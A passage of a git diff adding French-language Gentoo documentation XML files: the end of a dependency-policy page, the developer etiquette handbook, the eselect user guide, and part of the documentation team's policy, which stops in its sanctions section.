+En général, les paquets doivent dépendre de <c>=libfoo-1.2*</c> à la place de
+<c>&gt;=libfoo-1.2</c>. Sinon, votre paquet va commencer à créer des problèmes
+quand le paquet <c>libfoo-2.0</c> sera disponible.
+</p>
+
+<p>
+Dépendre d'un paquet virtuel comme <c>virtual/foo</c> ne fonctionne que si les
+différents paquets proposant de valider la dépendance <c>virtual/foo</c> ont
+des interfaces identiques. Considérons par exemple <c>virtual/jdk-1.3</c>.
+Certains paquets ne fonctionnent pas avec <c>ibm-jdk-1.3</c> alors qu'ils
+fonctionneront bien avec <c>sun-jdk-1.3</c>. Pour cette raison, assurez-vous
+que votre paquet a été testé avec tous les paquets ayant une correspondance
+virtuelle avant de le démasquer. Il peut arriver que la dépendance soit
+correcte seulement pour un certain nombre d'entre eux, mais qu'elle ne soit pas
+correcte pour le paquet virtuel lui-même.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/devrel/handbook/hb-policy-etiquette.xml b/xml/htdocs/proj/fr/devrel/handbook/hb-policy-etiquette.xml
new file mode 100644
index 00000000..5d885bff
--- /dev/null
+++ b/xml/htdocs/proj/fr/devrel/handbook/hb-policy-etiquette.xml
@@ -0,0 +1,275 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/devrel/handbook/hb-policy-etiquette.xml,v 1.2 2005/06/14 09:36:28 neysx Exp $ -->
+
+<sections>
+<section>
+<title>Introduction et quelques suggestions simples</title>
+<body>
+
+<p>
+Ces suggestions sont faites pour servir de guide simplifié à ce que les
+<uri link="/proj/en/devrel">Relations entre Développeurs</uri> voient comme
+étant une bonne étiquette pour les développeurs. Elles devraient couvrir
+l'ensemble du sujet et devraient être appliquées autant que possible.
+</p>
+
+<p>
+Cela ne veut pas dire que nous voulons que vous suiviez ce guide à la
+lettre&nbsp;: cela ne veut pas non plus dire que vous devez être d'accord sur
+tous ses points. En revanche on espère que tous les développeurs gardent une
+sorte de standard dans le comportement vis-à-vis de la communauté. Cela dit,
+vous pourriez être sanctionné ou suspendu si un tel standard n'est pas atteint.
+</p>
+
+<p>
+Par standards raisonnables, nous n'entendons pas que vous agissiez d'une
+manière la plus formelle possible ou que vous parliez comme un CEO. Nous
+voulons juste que vous ayez du respect autant envers les développeurs qu'envers
+les utilisateurs, quelles que soient les opinions de chacun (même si vous
+pensez qu'ils ont tort).
+</p>
+
+<p>
+Vous devez faire votre possible pour écrire avec le moins de fautes
+d'orthographe et de grammaire, où que vous soyez&nbsp;: que ce soit dans les
+messages de soumission CVS, dans un ChangeLog ou même sur IRC si vous voulez
+être bien vu par les autres. Mais ne vous inquiétez pas. Ce n'est pas dramatique
+si vous n'y arrivez pas. Vous ne le remarquez peut-être pas, mais en essayant de
+corriger tout ça, le temps passé à essayer de lire vos phrases est largement
+augmenté si vous ne faites pas un effort. D'un autre côté il ne faut pas non
+plus perdre trop de temps à essayer d'être d'une éloquence extrême qui sera
+longue à déchiffrer.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Ce que vous devez essayer d'éviter</title>
+<body>
+
+<p>
+Vous devez essayer de ne pas être brutal, rude, abusif ou impoli, quelles que
+soient les circonstances. Parfois, un simple commentaire sarcastique peut
+changer le regard que porte le lecteur vis-à-vis de ce que vous écrivez. Si
+vous pensez devoir dire quelque chose de désagréable au point de déranger et
+que vous avez <e>vraiment</e> besoin de le dire, assurez-vous que les gens
+comprennent que vous n'essayez pas d'être offensant.
+</p>
+
+<p>
+Souvenez-vous que vous êtes un représentant officiel de Gentoo. Cette fonction
+doit vous rappeler que vous devez garder un certain niveau de professionalisme
+et de courtoisie dans votre vie de tous les jours face aux autres développeurs
+et aux utilisateurs.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Trucs et astuces</title>
+
+<subsection>
+<title>ChangeLogs</title>
+<body>
+
+<ul>
+  <li>
+    Rendez vos ChangeLogs lisibles par un utilisateur moyen&nbsp;: essayez de
+    garder les choses simples et courtes autant que possible, mais n'oubliez pas
+    de donner toutes les informations critiques nécessaires. Souvenez-vous que
+    les ChangeLogs doivent être écrits dans un bon anglais, même s'ils sont
+    courts. La ponctuation est, par exemple, essentielle.
+  </li>
+  <li>
+    Merci d'éviter de parler dans un langage «&nbsp;gentooifié&nbsp;», sauf pour
+    des termes acceptés classiquement comme «&nbsp;ebuild&nbsp;»,
+    «&nbsp;eclass&nbsp;»ou «&nbsp;Portage&nbsp;». Si vous commencez à écrire
+    beaucoup, utilisez une ponctuation juste et bien placée.
+  </li>
+</ul>
+<ul>
+  <li>
+    Tout nom de fonction doit être encapsulé dans des signes de ponctuation.
+  </li>
+  <li>
+    Écrire&nbsp;: «&nbsp;version bump.&nbsp;» c'est bien&nbsp;; écrire
+    «&nbsp;Version bump; see bug #...&nbsp;» c'est beaucoup mieux. Cela n'aide
+    pas seulement l'utilisateur, mais aussi les autres développeurs.
+  </li>
+  <li>
+    N'utilisez pas de phrases du genre «&nbsp;Tested for months, should
+    work.&nbsp;», ou «&nbsp;I think this should fix the problems.&nbsp;» pour
+    quelque chose qui fait ou non son boulot. C'est mieux de signaler aux
+    utilisateurs de tester le paquet en profondeur et vous rapporter tous les
+    bogues rencontrés.
+  </li>
+  <li>
+    Quand vous faites une référence à des sections d'un ebuild, comme par
+    exemple la variable <e>homepage</e>, utilisez «&nbsp;HOMEPAGE&nbsp;» en
+    n'oubliant pas de mettre des guillemets anglais et d'utiliser la bonne casse
+    (majuscule ou non). Cela rend les choses plus précises et indique au
+    lecteur que vous avez effectivement changé la variable, au lieu par exemple
+    du <e>homepage</e> où votre paquet ira quand il démarrera.
+  </li>
+  <li>
+    Quand vous utilisez des acronymes, merci d'utiliser la bonne casse. Par
+    exemple, «&nbsp;ALSA&nbsp;» et non «&nbsp;alsa&nbsp;», «&nbsp;Win4Lin&nbsp;»
+    et non «&nbsp;win4lin&nbsp;».
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Ebuilds</title>
+<body>
+
+<ul>
+  <li>
+    Essayez de ne pas faire de mises à jour continuelles sauf si c'est
+    réellement une nécessité, par exemple si la mise à jour apporte un
+    plus ou si c'est une correction de sécurité importante. Voici des exemples
+    de mises à jour intempestives à éviter&nbsp;:
+    <ul>
+      <li>
+        Vous changez des erreurs d'orthographe dans les commentaires d'un
+        fichier de script, vous modifiez l'indentation du code ou toute autre
+        modification du même ordre&nbsp;;
+      </li>
+      <li>
+        Vous modifiez un ebuild non lié au noyau pour qu'il supporte une
+        nouvelle version de noyau (ou une nouvelle version d'une bibliothèque)
+        pour permettre à plus d'utilisateurs d'installer votre ebuild, mais sans
+        rien changer pour les utilisateurs de la version courante.
+      </li>
+    </ul>
+    En règle générale, des corrections qui apportent des changements non
+    triviaux sur un quelconque fichier d'un ebuild justifient une révision.
+    Autrement dit, si votre correctif modifie un comportement pour les
+    utilisateurs courants, vous devez faire votre révision en faisant en sorte
+    qu'ils puissent savoir qu'ils peuvent faire une mise à jour.
+    Veuillez consulter les règles à propos des ebuilds.
+  </li>
+  <li>
+    Respectez les préférences des développeurs en matière de code. Modifier de
+    manière inutile la syntaxe d'un ebuild augmente la charge du serveur CVS et
+    peut causer des complications pour les autres. Les modifications de syntaxe
+    doivent toujours être appliquées si elles apportent un réel plus, comme par
+    exemple une compilation plus rapide, des informations supplémentaires pour
+    l'utilisateur ou une conformité aux politiques du projet Gentoo.
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>IRC</title>
+<body>
+
+<ul>
+  <li>
+    Soyez courtois et respectez tout le monde, même s'ils vous submergent de
+    messages.
+  </li>
+  <li>
+    N'abusez pas de votre position et ne discriminez pas d'utilisateurs, que ce
+    soit pour une blague ou par pur sarcasme.
+  </li>
+  <li>
+    Répondez aux questions en utilisant vos connaissances étendues. Il est
+    toujours mieux de ne pas répondre aux questions pour lesquelles vous ne
+    sauriez répondre sans éviter la moindre confusion. Il n'y a pas de
+    politique sur les dommages collatéraux que peuvent causer les développeurs
+    aux utilisateurs, mais si un développeur peut apporter de l'aide et
+    qu'il lui est proposé par exemple un accès SSH sur la machine en panne, le
+    développeur sera tenu responsable de ce qu'il effectuera sur la machine de
+    l'utilisateur. De ce fait, nous ne recommandons clairement pas ce genre de
+    manipulations.
+  </li>
+  <li>
+    Si vous êtes un développeur ayant un statut d'opérateur, vous <b>ne devez
+    pas</b> en abuser. Si vous êtes en désaccord avec un utilisateur, vous devez
+    résoudre le problème de la manière la plus pacifique possible et ne pas en
+    venir à les renvoyer ou même les bannir, sauf si la situation est vraiment
+    sans issue et que les autres développeurs approuvent l'usage de ce type de
+    mesure.
+  </li>
+  <li>
+    #gentoo et #gentoo-dev sont des canaux de discussion où le langage est poli
+    et courtois. Les autres canaux de type #gentoo- suivent les règles
+    établies par leurs propriétaires respectifs. Puis que la majorité du
+    traffic sur #gentoo-dev est générée par des développeurs Gentoo, les gens
+    perçoivent ce canal comme celui qui représente officiellement Gentoo. Afin
+    de présenter Gentoo de manière la plus professionnelle possible nous
+    demandons que les développeurs gardent #gentoo-dev de manière la plus
+    professionnelle possible.
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Forums</title>
+<body>
+
+<ul>
+  <li>
+    Soyez courtois et respectez tout le monde, même s'il y en a qui posent des
+    questions inimaginables. Soit vous répondez de manière courtoise, soit
+    vous ne donnez pas votre opinion.
+  </li>
+  <li>
+    Suivez les règles du forum et essayez de rester dans le fil du sujet au lieu
+    d'en sortir.
+  </li>
+  <li>
+    Essayez d'être actif. Si des utilisateurs demandent pourquoi quelque chose a
+    été ajouté, merci de l'expliquer. Si les utilisateurs demandent pourquoi
+    un élément est manquant, expliquez-le. Utilisez vos connaissances et aidez
+    dans la mesure du possible. Cela dit, si vous ne savez pas, ne répondez pas,
+    pour éviter toute confusion.
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Courrier électronique</title>
+<body>
+
+<ul>
+  <li>
+    N'envoyez pas de courrier électronique en HTML (cela peut énerver) et il est
+    recommandé d'utiliser un client mail qui formate le texte (80 caractères par
+    lignes, etc.) avant l'envoi. Certaines personnes bloquent les mails
+    contenant du code HTML, ce qui peut occasionner quelques problèmes dans les
+    correspondances.
+  </li>
+  <li>
+    Quand vous répondez à des utilisateurs ou développeurs par mail, soyez
+    courtois et ne renvoyez pas un utilisateur à un autre développeur. Essayez
+    d'expliquer pourquoi les choses sont ce qu'elles sont, dans la mesure du
+    possible. Un exemple à suivre par exemple, serait&nbsp;: «&nbsp;Je
+    transmets votre courrier à <c>&lt;insérer un nom ici&gt;</c> dans la mesure
+    où <c>&lt;personne&gt;</c> est désormais le mainteneur de ce paquet. Toute
+    question se rapportant à ce sujet doit désormais être adressée à
+    <c>&lt;personne&gt;</c>. Veuillez nous excuser du dérangement que cela
+    peut vous occasionner.&nbsp;»
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/fr/eselect/user-guide.xml b/xml/htdocs/proj/fr/eselect/user-guide.xml
new file mode 100644
index 00000000..a197797d
--- /dev/null
+++ b/xml/htdocs/proj/fr/eselect/user-guide.xml
@@ -0,0 +1,243 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/eselect/user-guide.xml,v 1.4 2009/11/08 19:50:18 cam Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/fr/eselect/user-guide.xml" lang="fr">
+<title>Manuel d'utilisation d'eselect</title>
+
+<author title="Auteur">
+  <mail link="ciaranm@gentoo.org">Ciaran McCreesh</mail>
+</author>
+<author title="Auteur">
+  <mail link="kugelfang@gentoo.org">Danny van Dyk</mail>
+</author>
+<author title="Correcteur">
+  <mail link="ulm@gentoo.org">Ulrich Müller</mail>
+</author>
+<author title="Correcteur">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Traducteur">
+  <mail link="koppatroopa@yahoo.fr">Bertrand Coppa</mail>
+</author>
+
+<abstract>
+Ce document est un guide de référence complet pour les utilisateurs de l'outil
+eselect.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.2.0</version>
+<date>2009-09-19</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Un rapide aperçu</title>
+<body>
+
+<p>
+eselect est un outil de configuration et d'administration pour les systèmes
+Gentoo. Il agit <e>directement</e> sur le comportement du système et doit donc
+être utilisé avec précaution par l'administrateur système. eselect est une
+structure modulaire pour écrire des utilitaires de configuration. Cette
+structure est constituée de&nbsp;:
+</p>
+
+<ul>
+  <li>un programme principal appelé <c>eselect</c>.</li>
+  <li>
+    divers modules (fichiers *.eselect) qui s'occupent de différentes tâches.
+  </li>
+  <li>
+    plusieurs bibliothèques qui aident à assurer un comportement cohérent et
+    simplifie la création de nouveaux modules.
+  </li>
+</ul>
+
+<p>
+Un module fournit plusieurs actions. Il y a habituellement deux types
+d'actions&nbsp;: soit on affiche des informations (<c>list</c> et <c>show</c>
+sont assez usuelles), soit on met le système à jour d'une manière ou d'une
+autre (par exemple, <c>set</c> et <c>update</c>.) Chaque module dispose aussi
+des actions <c>help</c> et <c>usage</c> qui expliquent comment utiliser le
+module.
+</p>
+
+<note>
+Certains modules installent des liens symboliques vers le programme principal.
+eselect gère ceci de façon intelligente. Par exemple, il fait l'association
+entre <c>profile-config list</c> et <c>eselect profile list</c>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Avantages pour les utilisateurs et les administrateurs système</title>
+<body>
+
+<p>
+Pour les utilisateurs et les administrateurs système, des outils qui ont été
+écrits sous forme de modules eselect offrent de nombreux avantages par rapport
+à l'approche traditionnelle «&nbsp;d'écrire chaque outil à partir de
+rien&nbsp;»&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Les modules d'eselect disposent d'une interface utilisateur cohérente.
+    Grâce à la structure d'actions d'eselect, il n'est plus nécessaire de
+    retenir ou de retrouver des dizaines d'options de type -x pour chaque
+    outil. Le formatage de la sortie des modules est aussi conforme à un
+    standard.
+  </li>
+  <li>
+    Format d'aide cohérent. Tous les modules disposent d'une documentation
+    facilement accessible via les actions <c>help</c> et <c>usage</c>.
+  </li>
+  <li>
+    Appelation cohérente des outils. Ce n'est pas la peine de retenir des
+    dizaines de truc-config ou update-machin. Pour voir une liste des outils
+    disponibles, il suffit de lancer <c>eselect</c> sans argument. Bien
+    entendu, les outils du style truc-config sont toujours accessibles (par
+    liens symboliques) si vous préférez.
+  </li>
+  <li>
+    Support garanti de <c>$ROOT</c>. Pour ceux d'entre vous utilisant
+    <c>$ROOT</c>, vous n'aurez pas à vous préoccuper de savoir si tel outil le
+    gère. Le support de <c>$ROOT</c> est obligatoire pour tous les modules
+    eselect.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Avantages pour les développeurs et les mainteneurs de paquets</title>
+<body>
+
+<p>
+Écrire votre outil sous forme d'un module eselect plutôt qu'en partant de zéro
+vous apporte divers avantages&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Temps de développement raccourci. Le plus gros du travail a déjà été fait.
+    eselect fournit une série de bibliothèques pour les tâches communes et le
+    programme principal <c>eselect</c> gère le plus dur pour vous. Tout ce
+    qu'il faut faire, c'est fournir les actions et toute fonction particulière
+    dont vous avez besoin.
+  </li>
+  <li>
+    Actions automatiques. Les actions <c>help</c> et <c>usage</c> sont générées
+    automatiquement à partir de vos actions, il n'est donc pas nécessaire de
+    perdre son temps à les maintenir à jour.
+  </li>
+  <li>
+    Comportement cohérent et facile. Comme la gestion de la ligne de commande
+    et l'entrée/sortie sont divisés dans les fonctions de bibliothèques, écrire
+    un module «&nbsp;standard&nbsp;» qui se comporte de façon cohérente avec
+    les autres outils est vraiment simple.
+  </li>
+  <li>
+    Format familier. Pour les développeurs Gentoo, le format de module eselect
+    va vite leur sembler familier. C'est un fichier bash avec une structure
+    très similaire à celle des ebuilds.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Utiliser eselect</title>
+<section>
+<title>Utilisation</title>
+<body>
+
+<p>
+eselect doit être invoqué de la manière suivante&nbsp;:
+</p>
+
+<pre caption="eselect - syntaxe générale">
+# <i>eselect [&lt;global options&gt;] &lt;module&gt; &lt;action&gt; &lt;options&gt;</i>
+</pre>
+
+<p>
+eselect est cohérent en ce qui concerne les noms des actions dans la plupart de
+ses modules. <c>eselect list-modules</c> affiche une liste des modules
+disponibles. Il n'y a qu'une option globale pour le moment, <c>--no-color</c>,
+qui demande à eselect de ne plus envoyer de sortie en couleur.  Voici les noms
+d'actions standards. Chaque module peut fournir une partie de ces
+actions&nbsp;:
+</p>
+
+<ul>
+  <li>
+    <c>help</c> - affiche l'écran d'aide du module.
+  </li>
+  <li>
+    <c>usage</c> - affiche comment invoquer les actions du module.
+  </li>
+  <li>
+    <c>version</c> - affiche la version du module et autres informations
+    utiles.
+  </li>
+  <li>
+    <c>list</c> - affiche les options disponibles.
+  </li>
+  <li>
+    <c>show</c> - affiche la ou les configuration(s) active(s).
+  </li>
+  <li>
+    <c>set</c> - choisit une des options offertes par <c>list</c>.
+  </li>
+  <li>
+    <c>enable</c> - active une des fonctionnalités spécifiques du module.
+  </li>
+  <li>
+    <c>disable</c> - désactive une des fonctionnalités spécifiques du module.
+  </li>
+  <li>
+    <c>update</c> - idem <c>set</c>, mais selectionne automatiquement une
+    option plutôt que de la prendre en paramètre.
+  </li>
+  <li>
+    <c>scan</c> - récupère des informations sur le système et les conserve pour
+    un usage futur du module.
+  </li>
+</ul>
+
+<p>
+Une session typique ressemblera à ceci pour la plupart des modules&nbsp;:
+</p>
+
+<pre caption="Session eselect d'exemple">
+<comment>(Trouver les options disponibles pour un module)</comment>
+# <i>eselect &lt;module&gt; list</i>
+These selections are available:
+    [1]&lt;first&gt;
+    [2]&lt;second&gt;
+<comment>(Activer une option)</comment>
+# <i>eselect &lt;module&gt; set &lt;first&gt;</i>
+<comment>(Afficher la configuration actuelle)</comment>
+# <i>eselect &lt;module&gt; show</i>
+Active Selection:
+    &lt;item1&gt;
+</pre>
+
+<p>
+En général, vous pouvez activer les objets par nom ou par numéro.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/gdp/doc/doc-policy.xml b/xml/htdocs/proj/fr/gdp/doc/doc-policy.xml
new file mode 100644
index 00000000..043672f4
--- /dev/null
+++ b/xml/htdocs/proj/fr/gdp/doc/doc-policy.xml
@@ -0,0 +1,546 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/gdp/doc/doc-policy.xml,v 1.13 2007/03/13 12:02:57 cam Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/fr/gdp/doc/doc-policy.xml" lang="fr">
+
+<title>Règles de base des documentalistes Gentoo</title>
+<author title="Auteur">
+ <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Auteur">
+ John P. Davis
+</author>
+<author title="Auteur">
+ <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Correcteur">
+ <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Traducteur">
+ <mail link="cam@gentoo.org">Camille Huot</mail>
+</author>
+
+<abstract>
+Ce document décrit les règles de base que les auteurs et les contributeurs
+de la documentation Gentoo devraient connaître et appliquer.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>4</version>
+<date>2007-02-26</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Le but de l'équipe des documentalistes est de produire une documentation
+professionnelle qui soit claire, concise et accessible à un utilisateur.
+Nous avons donc établi des règles et des recommandations qui doivent
+s'appliquer à <e>tous</e> les documents avant qu'ils ne soient publiés, sur
+notre site ou ailleurs.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sujets abordés</title>
+<body>
+
+<p>
+Ces règles couvrent ces sujets&nbsp;:
+</p>
+
+<ul>
+<li>Organisation de l'équipe de documentalistes&nbsp;;</li>
+<li>Recommandations aux documentalistes&nbsp;;</li>
+<li>Recrutement de documentalistes.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Organisation de l'équipe de documentalistes</title>
+<section>
+<title>Organisation</title>
+<body>
+
+<p>
+L'équipe est elle-même constituée de petites équipes qui travaillent en
+étroite collaboration. Chaque petite équipe s'occupe de la documentation
+d'un sous-projet Gentoo.
+</p>
+
+<!--
+<p>
+Conformément à la <uri link="/doc/en/management-structure.xml">structure de
+gestion du projet Gentoo</uri>, un gestionnaire de haut niveau est responsable
+de la documentation et de la stratégie suivie.
+</p>
+-->
+
+<p>
+Un gestionnaire opérationnel est responsable des tâches quotidiennes au sein
+du projet de documentation. Il gère l'ensemble des tâches relatives à la
+documentation à court terme. Le responsable général peut assurer cette gestion
+s'il le souhaite.
+</p>
+
+<p>
+Actuellement, les responsables sont&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>Poste</th>
+  <th>Nom</th>
+  <th>Pseudo</th>
+</tr>
+<tr>
+  <ti>Responsable stratégique</ti>
+  <ti>Xavier Neys</ti>
+  <ti><mail link="neysx@gentoo.org">neysx</mail></ti>
+</tr>
+<tr>
+  <ti>Gestionnaire opérationnel</ti>
+  <ti>Xavier Neys</ti>
+  <ti><mail link="neysx@gentoo.org">neysx</mail></ti>
+</tr>
+</table>
+
+<p>
+Chaque sous-projet a son propre responsable stratégique. Il peut choisir
+de faire appel à un gestionnaire opérationnel s'il le souhaite.
+Ses responsabilités sont décrites dans la <uri
+link="/doc/en/management-structure.xml#doc_chap1_sect5">structure de gestion
+Gentoo</uri>.
+</p>
+
+<p>
+Chaque sous-projet l'équipe de documentalistes de Gentoo, ainsi que leurs
+responsables, sont listés sur la page du <uri link="/proj/en/gdp/">projet
+GDP</uri> (Gentoo Documentation Project).
+</p>
+
+<p>
+Le responsable stratégique décide de l'ajout de sous-projets.
+</p>
+
+</body>
+</section>
+<section>
+<title>Membres de l'équipe</title>
+<body>
+
+<p>
+Tous les membres doivent être abonnés à la liste de diffusion <mail
+link="gentoo-doc+subscribe@gentoo.org">gentoo-doc@gentoo.org</mail>. Elle est
+utilisée pour discuter de toutes les questions relatives à la documentation.
+Elle est ouverte à tous, développeurs et autres.
+</p>
+
+<p>
+Chaque membre doit faire partie de l'alias <mail
+link="docs-team@gentoo.org">docs-team@gentoo.org</mail>. Il n'est utilisé que
+par <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri> pour avertir les
+développeurs de bogues relatifs à la documentation. Vous pouvez vous ajouter à
+l'alias en éditant le fichier <path>/var/mail/alias/misc/docs-team</path> sur
+dev.gentoo.org.
+</p>
+
+<p>
+Les membres doivent être disponibles sur le canal IRC <c>#gentoo-doc</c> sur
+<uri link="http://www.freenode.net">irc.freenode.net</uri> quand ils sont
+connectés.
+</p>
+
+<p>
+En fonction de ses tâches et de ses responsabilités, un membre peut disposer
+d'un accès restreint au server <c>cvs.gentoo.org</c>. L'accès complet au CVS
+n'est accordé qu'aux développeurs Gentoo. Un <uri
+link="http://anoncvs.gentoo.org">serveur CVS anonyme</uri> est disponible, il
+contient les mêmes fichiers que notre serveur CVS principal mais avec quelques
+minutes de décalage.
+</p>
+
+</body>
+</section>
+<section>
+<title>Équipes de traducteurs</title>
+<body>
+
+<p>
+Chaque langue est prise en charge par une équipe qui est menée par un
+<e>traducteur responsable</e>, éventuellement aidé d'un <e>second</e>. Ils ont
+tous deux accès au CVS en écriture. Quand le <e>traducteur responsable</e> n'est
+pas disponible, son <e>second</e> prend la relève. S'il n'est pas disponible non
+plus, le ou les mentors prennent les choses en main.
+</p>
+
+<p>
+Si un document est traduit dans une langue qui n'est pas supportée
+officiellement par Gentoo, il sera publié tel quel. Il n'y aura pas de lien
+vers le document jusqu'à ce qu'une équipe officielle soit mise en place, mais
+le document sera tout de même accessible sur notre site web et par le CVS.
+</p>
+
+<p>
+Si une langue officiellement supportée n'a plus de membres actifs ou si plus
+personne n'assure la fonction de <e>traducteur responsable</e>, les liens vers
+les documents seront supprimés, mais les documents resteront disponibles au cas
+où la langue redeviendrait officiellement supportée.
+</p>
+
+<p>
+Pour plus d'information à propos des traductions de documents Gentoo, veuillez
+consulter le <uri link="/proj/fr/gdp/doc/translators-howto.xml">guide du
+traducteur de documentation Gentoo</uri> et la page du sous-projet <uri
+link="/proj/en/gdp/international.xml">GDP Internationalisation</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Recommandations aux documentalistes</title>
+<section>
+<title>Légalité</title>
+<body>
+
+<p>
+Chaque document doit être publié sous la licence <uri
+link="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons
+Attribution-ShareAlike License</uri>.
+</p>
+
+<p>
+Chaque document doit contenir l'élément suivant dans sa source entre les
+balises <c>&lt;/abstract&gt;</c> et <c>&lt;version&gt;</c>&nbsp;:
+</p>
+
+<pre caption="Licence à mentionner dans les sources des documents">
+&lt;/abstract&gt;
+<i>
+&lt;!-- The content of this document is licensed under the CC-BY-SA license --&gt;
+&lt;!-- See http://creativecommons.org/licenses/by-sa/2.5 --&gt;
+
+&lt;!-- Ce document est publié sous la licence CC-BY-SA --&gt;
+&lt;!-- Voyez http://creativecommons.org/licenses/by-sa/2.5 --&gt;
+&lt;license/&gt;
+</i>
+&lt;version&gt;...&lt;/version&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Bogues et corrections</title>
+<body>
+
+<p>
+Chaque bogue rapporté sur <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri> devrait être traité aussi
+rapidement que possible. S'il ne peut être traité dans un délai raisonnable, la
+personne qui a rapporté le bogue devrait en être avertie via un commentaire sur
+le bogue et le bogue devrait être éventuellement enregistré dans le fichier <uri
+link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri>. Un responsable
+décidera si le bogue doit être traité prioritairement aux autres tâches.
+</p>
+
+<p>
+Quand un membre de l'équipe prend un bogue en charge, il doit se l'assigner et
+placer <mail>docs-team@gentoo.org</mail> dans la liste CC. Il ne peut
+s'attribuer un bogue déjà assigné à un autre membre de l'équipe sans l'accord
+d'un responsable ou de l'autre membre lui-même.
+</p>
+
+</body>
+</section>
+<section>
+<title>Développement d'un document</title>
+<body>
+
+<p>
+Chaque document peut être développé par les membres de l'équipe de toute manière
+jugée appropriée, mais le document final doit se conformer à <uri
+link="/doc/en/xml-guide.xml">GuideXML</uri> et être
+disponible sur l'infrastructure CVS de Gentoo. Il doit également être enregistré
+dans le fichier <uri link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri>
+si besoin.
+</p>
+
+<p>
+Quand un nouveau document est commencé ou que des modifications importantes
+doivent être faites, un bogue doit l'annoncer sur <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>. Si un tel bogue existe
+déjà, il n'est pas nécessaire d'en créer un nouveau. Des corrections
+grammaticales, syntaxiques ou minimes ne requièrent pas qu'un bogue soit créé.
+</p>
+
+<p>
+Le numéro de version doit être augmenté et la date ajustée pour toute
+modification du contenu sauf pour la correction de coquilles dans le texte ou
+dans les commentaires des exemples de code. Notez que toute modification d'un
+exemple de code impose une augmentation du numéro de version et une mise à jour
+de la date.
+</p>
+
+<p>
+Les modifications de la présentation de la source XML ne doit générer un
+nouveau numéro de version et une mise à jour de la date que si la présentation
+du document s'en trouve aussi modifiée.
+</p>
+
+<p>
+La décision d'augmenter le numéro majeur ou mineur dans le numéro de version
+est laissée à la discrétion du correcteur.
+</p>
+
+<p>
+Chaque traduction doit utiliser exactement le même numéro de version et la même
+date que ceux du document original de façon à garantir une bonne
+synchronisation entre les différentes traductions.
+</p>
+
+</body>
+</section>
+<section>
+<title>Relecture et enregistrement</title>
+<body>
+
+<p>
+Pour permettre d'intégrer des correctifs rapidement, il est autorisé
+d'enregistrer des modifications importantes ou d'ordre technique <e>à condition
+que</e> le correcteur soit certain à 100% que ses modifications sont correctes.
+Au moindre doute, notamment quand il réagit à une remarque d'un utilisateur,
+mais qu'il ne peut tester lui-même, le rédacteur <e>doit</e> soumettre sa
+correction à un développeur Gentoo.
+</p>
+
+<p>
+Des modifications importantes ou techniques doivent faire l'objet d'un bogue
+sur <uri>http://bugs.gentoo.org</uri>. Le numéro du bogue <e>doit</e> être
+mentionné lors de l'enregistrement dans le CVS pour permettre un éventuel
+retour à une version précédente.
+</p>
+
+<p>
+Si la correction modifie à la fois le contenu et le style d'écriture de
+GuideXML, les modifications doivent être enregistrées séparément pour permettre
+aux traducteurs de visualiser facilement les modifications apportées au contenu.
+</p>
+
+<p>
+Dans le cas d'une traduction, le traducteur responsable est chargé de vérifier
+le document et lui seul (ou son second) peut l'enregistrer dans le CVS sauf s'il
+est encore en formation, auquel cas c'est le mentor qui doit l'enregistrer.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sanctions</title>
+<body>
+
+<p>
+Il n'y a jamais eu de problème de conduite, mais il est important de noter que
+les abus commis par des documentalistes Gentoo, notamment&nbsp;:
+</p>
+
+<ul>
